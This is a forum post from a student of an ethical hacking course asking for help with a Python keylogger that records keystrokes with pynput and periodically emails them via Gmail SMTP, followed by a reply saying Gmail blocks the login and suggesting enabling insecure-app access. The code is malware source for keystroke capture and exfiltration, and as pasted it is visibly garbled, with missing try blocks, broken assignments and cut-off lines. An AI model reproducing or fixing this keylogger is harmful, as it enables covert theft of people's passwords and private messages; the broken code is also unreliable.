Keylogger Error (Python/Ethical Hacking Course)

So I have been working my way through Zaid’s Python/Ethical hacking course and at the end of the Keylogger section i run into this error;

This is the code I have;

#!/usr/bin/env python
import pynput.keyboard
import threading
import smtplib

class Xeylogger:
def init(self, time_interval, email, password):
self.log = “Keylogger Started”
self.interval = time_interval = email
self.password = password

def append_to_log(self, string):
    self.log = self.log + string

def process_key_press(self, key):
        current_key = str(key.char)
    except AttributeError:
        if key ==
            current_key = " "
            current_key = " " + str(key) + " "

def report(self):
    self.send_mail(, self.password, "\n\n" + self.log)
    self.log = ""
    timer = threading.Timer(self.interval,

def send_mail(self, email, password, message):
    server = smtplib.SMTP("", 587)
    server.login(email, password)
    server.sendmail(email, email, message)

def start(self):
    keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
    with keyboard_listener:

Any help would be appreciated

As stated in the error itself. Gmail is not allowing you to log in. You have to enable login in using insecure apps in the Google settings.